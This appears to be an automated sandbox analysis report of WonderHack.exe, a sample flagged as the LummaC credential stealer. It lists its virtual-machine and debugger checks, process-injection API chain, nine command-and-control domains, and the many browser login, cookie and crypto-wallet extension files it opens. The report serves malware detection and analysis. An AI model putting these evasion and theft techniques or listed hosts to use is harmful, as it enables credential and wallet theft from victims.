Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: WonderHack.exe

Static PE information: real checksum: 0x9456f should be: 0x8be5f

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_0019FB83 push ecx; ret	0_2_0019FB96
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0019FB83 push ecx; ret	3_2_0019FB96
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043D0F0 push eax; mov dword ptr [esp], 03020130h	3_2_0043D0F1
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00444943 push es; ret	3_2_0044494C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00441A9E push ss; retf	3_2_00441AA4
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043A480 push eax; mov dword ptr [esp], C9D6D7D4h	3_2_0043A48E

Source: C:\Users\user\Desktop\WonderHack.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\WonderHack.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\WonderHack.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-20524

Source: C:\Users\user\Desktop\WonderHack.exe

API coverage: 9.1 %

Source: C:\Users\user\Desktop\WonderHack.exe TID: 2148	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe TID: 5800	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001B1F38 FindFirstFileExW,	0_2_001B1F38
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001B1FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_001B1FE9
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001B1F38 FindFirstFileExW,	3_2_001B1F38
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001B1FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_001B1FE9

Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089637381.00000000053C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002BBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: WonderHack.exe, 00000003.00000003.2089637381.00000000053C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: WonderHack.exe, 00000003.00000003.2089773143.0000000005352000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\WonderHack.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 3_2_0043BAD0 LdrInitializeThunk,

3_2_0043BAD0

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_0019F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0019F8E9

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001CA19E mov edi, dword ptr fs:[00000030h]	0_2_001CA19E
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00191FB0 mov edi, dword ptr fs:[00000030h]	0_2_00191FB0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00191FB0 mov edi, dword ptr fs:[00000030h]	3_2_00191FB0

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_001AD8E0 GetProcessHeap,

0_2_001AD8E0

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_0019F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0019F52D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_0019F8DD SetUnhandledExceptionFilter,	0_2_0019F8DD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_0019F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0019F8E9
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001A7E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001A7E30
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0019F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0019F52D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0019F8DD SetUnhandledExceptionFilter,	3_2_0019F8DD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0019F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0019F8E9
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001A7E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_001A7E30

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_001CA19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_001CA19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\WonderHack.exe

Memory written: C:\Users\user\Desktop\WonderHack.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: undesirabkel.click

Source: C:\Users\user\Desktop\WonderHack.exe

Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_001AD1BD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_001B1287
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_001B14D8
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_001B1580
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_001B17D3
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_001B1840
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_001B1915
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_001B1960
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_001B1A07
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_001B1B0D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_001ACC15
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	3_2_001AD1BD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_001B1287
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	3_2_001B14D8
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_001B1580
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	3_2_001B17D3
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	3_2_001B1840
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	3_2_001B1915
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	3_2_001B1960
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_001B1A07
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	3_2_001B1B0D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	3_2_001ACC15

Source: C:\Users\user\Desktop\WonderHack.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_001A00B4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_001A00B4

Source: C:\Users\user\Desktop\WonderHack.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: WonderHack.exe, 00000003.00000003.2168759426.0000000002C7D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\WonderHack.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: WonderHack.exe PID: 6152, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: WonderHack.exe, 00000003.00000003.2145423339.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: WonderHack.exe, 00000003.00000003.2145423339.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: WonderHack.exe, 00000003.00000003.2145423339.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: WonderHack.exe, 00000003.00000003.2145423339.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
